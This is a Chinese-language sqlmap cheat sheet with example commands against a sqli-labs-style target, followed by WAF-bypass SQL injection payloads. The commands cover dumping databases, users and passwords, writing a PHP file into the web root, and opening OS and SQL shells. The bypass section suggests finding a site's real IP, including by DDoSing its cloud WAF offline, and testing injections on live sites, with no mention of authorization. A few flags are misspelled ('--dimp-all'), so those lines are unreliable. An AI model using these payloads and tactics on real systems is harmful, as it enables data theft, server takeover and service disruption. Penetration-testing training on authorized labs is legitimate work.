: : 工欲善其事,必先利其器。学会如何高效的实用工具可以让我们在工作中事半功倍。
一、sqlmap参数:
-u/–url
1 2
| #参数后面接url地址 sqlmap -u http://www.sqli.com/Less-1/?id=1
|
-m
1 2
| #从文本获取多个目标进行扫描,文件中每行只能有一个url sqlmap -m url.txt
|
-r
1 2
| #从文本中加载post/get请求头,不需要自行设置cookie,POST等数据 sqlmap -r test.txt
|
-v
1 2 3 4 5 6 7 8
| #0 只显示python错误以及严重的信息; #1 同时显示基本信息和警告信息(默认等级); #2 同时显示debug信息; #3 测试时显示payload; #4 http请求头; #5 http响应头; #6 http响应页面 sqlmap -u http://www.sqli.com/Less-2/?id=1 -v 3
|
–data
1 2
| #此参数是把data后面的数据以POST方式提交,sqlmap会像检测GET参数一样检测POST提交过去的参数。 sqlmap -u http://www.sqli.com/Less-2/?id=1 --data="id=1"
|
–cookie
1 2
| #当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到--cookie参数中。 sqlmap -u http://www.sqli.com/Less-2/?id=1 --cookie="Cookie:Hm_lvt6910067,1546929561,1547001094,1547024662;PHPSESSID=o64fbvo316lg59njufl2gfutm4;"
|
–user-agent
1 2 3
| # 更改扫描时发包的浏览器请求头 #默认情况下sqlmap的HTTP请求头中的User-Agent值是: sqlmap/1.0-dev-xxxxxxxxx(http://sqlmap.org) sqlmap -u http://www.sqli.com/Less-2/?id=1 --user-agent="Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0"
|
–random-agent
1 2
| #从/usr/share/sqlmap/data/txt/user-agents.txt中随机产生User-Agent头。 sqlmap -u http://www.sqli.com/Less-2/?id=1 --random-agent
|
–referer
1 2
| #在请求中伪造HTTP中的referer。 sqlmap -u http://www.sqli.com/Less-2/?id=1 --referer="https://baidu.com/"
|
–delay
1 2
| #设置每次发包间隔为5秒 sqlmap -u http://www.sqli.com/Less-2/?id=1 --delay 5
|
–timeout
1 2
| #设定一个http请求超过多少秒判定为超时,默认是30秒。 sqlmap -u http://www.sqli.com/Less-2/?id=1 --timeout 20
|
-p
1 2
| #指定测试参数 sqlmap -r test.txt -p "user-agent"
|
–skip
1 2
| #跳过指定参数不测试 sqlmap -r test.txt --skip "id,user-agent"
|
–level (sqlmap -r 情况下)
1 2 3 4 5
| #共有五个等级,默认为1,sqlmap使用基础的payload; #level>=2的时候就会测试HTTP Cookie; #level>=3的时候就会测试HTTP User-Agent/Referer头; #level=5 的时候会测试HTTP Host; sqlmap -r test.txt --level 3
|
–risk
1 2 3 4
| #1 测试大部分测试语句; #2 加上时间注入; #3 加上or语句,在update和delect时可能会影响整个表 sqlmap -u http://www.sqli.com/Less-2/?id=1 --risk 2
|
–dbs
1 2
| #列出所有数据库 sqlmap -u http://www.sqli.com/Less-2/?id=1 --dbs
|
–users
1 2
| #列出当前用户名 sqlmap -u http://www.sqli.com/Less-2/?id=1 --users
|
–passwords
1 2
| #列出密码 sqlmap -u http://www.sqli.com/Less-2/?id=1 --passwords
|
–is-dba
1 2
| #测试是否为root权限 sqlmap -u http://www.sqli.com/Less-2/?id=1 --is-dba
|
–technique
1 2 3 4 5 6 7 8 9
| /*指定注入方式 B 布尔盲注 Q 内联注入 T 时间盲注 U 联合查询 E 报错注入 S 栈查询 查询速度=联合>报错>布尔>时间注入*/ sqlmap -u http://www.sqli.com/Less-2/?id=1 --technique U
|
–current-db
1 2
| #查看当前数据库 sqlmap -u http://www.sqli.com/Less-2/?id=1 --current-db
|
–privileges
1 2
| #查看权限 sqlmap -u http://www.sqli.com/Less-2/?id=1 --privileges
|
-D 库名 –tables
1 2
| #列出指定库的数据表 sqlmap -u http://www.sqli.com/Less-2/?id=1 -D security --tables
|
-D 库名 -T 表名 –columns
1 2
| #列出指定库的指定数据表内字段及类型 sqlmap -u http://www.sqli.com/Less-2/?id=1 -D security -T users --columns
|
-D 库名 -T 表名 -C 字段1,字段2 –dump
1 2
| #列出对应数据表中的指定字段 sqlmap -u http://www.sqli.com/Less-2/?id=1 -D security -T users -C username,password --dump
|
–proxy
1 2
| #指定代理服务器 sqlmap -u http://www.sqli.com/Less-2/?id=1 --proxy http://127.0.0.1:8080
|
–prefix
1 2
| #设置注入payload字符串前缀 sqlmap -u http://www.sqli.com/Less-2/?id=1 --prefix=')))))
|
–suffix
1 2
| #设置注入payload字符串后缀 sqlmap -u http://www.sqli.com/Less-2/?id=1 –suffix=or 1='1
|
–file-write=”文件路径” –file-dest=”目标绝对路径”
1 2
| #向目标服务器写入文件 sqlmap -u http://www.sqli.com/Less-2/?id=1 --file-write="test.txt" --file-dest="C:/phpStudy/PHPTutorial/WWW/one.php"
|
–batch
1 2
| #全自动选择 sqlmap -u http://www.sqli.com/Less-2/?id=1 --batch
|
–dump
1 2
| #导出当前数据库所有数据 sqlmap -u http://www.sqli.com/Less-2/?id=1 --dump
|
–dimp-all
1 2
| #导出所有数据库的所有数据 sqlmap -u http://www.sqli.com/Less-2/?id=1 --dimp-all
|
–start=开始条数 –stop=结束条数
1 2
| #限制读取数据长度 sqlmap -u http://www.sqli.com/Less-2/?id=1 --start=1 --stop=3
|
–purge
1 2
| #清空缓存目录 sqlmap -u http://www.sqli.com/Less-2/?id=1 --purge
|
–sql-shell
1 2
| #反弹sqlshell(要有文件读写权限) sqlmap -u http://www.sqli.com/Less-2/?id=1 --sql-shell
|
–os-shell
1 2
| #反弹osshell(要有文件读写权限) sqlmap -u http://www.sqli.com/Less-2/?id=1 --os-shell
|
二、绕waf小姿势
绕过思想:
绕waf基本思路,禁用什么字符就绕什么字符!
1.用填充垃圾字符代替空格,内联注释,利用– /*注释加%0apayload– */换行执行语句
1
| http://www.sqli.com/Less-3/?id=-1')|| true=true
|
1
| http://www.sqli.com/Less-3/?id=-1')and /*!000001*/=/*!000002*/ -- -
|
2.使用BP brute forcer模块跑垃圾数据测试有效垃圾数据,/**/可代替空格
1 2
| #填充垃圾字符绕过waf and/*§1§*/1=1 --+
|
3.%0a为换行符,
1 2 3 4
| #/*!闭合最后的*/,union--+/*会被注释,换行后select在第二行不会被注释(/*!*/内联注释此时版本小于数据库版本,注释不生效) id=-1 /*!00000union--+/*%0aselect 1,2,3*/--+ #简化版 SELECT * FROM users WHERE id=-1 union-- /* select 1,2,3-- */ LIMIT 0,1
|
4.用like”[%23]”阻断前语句的查询结果
1
| http://www.sqli.com/Less-3/?id=-1') like "[%23]" union--+/*%0aselect 1,2,3--+*/
|
软件型waf:
安装在服务器:安全狗、D盾、云锁…
绕过方法:
本地搭建环境测试绕过语句
云waf:
部署在云端;腾讯云、玄武盾、华为云、亚马逊云…
绕过方法:
找到网站的真实IP地址,绑定在主机host文件中,让流量不通过云waf,直接进行攻击
获取真实IP方法:
1、非暴力型:微步在线、全球ping 查找历史解析记录
2、暴力型:DDOS将云waf打下线后获取真实IP
硬件型waf:
检测流量;
绕过方法:
真实网站下测试注入语句
代码型waf:
网站所有入站流量首先经过该waf过滤再传入想要执行的参数处
绕过方法:
扫目录获取其代码,或是文件包含获取代码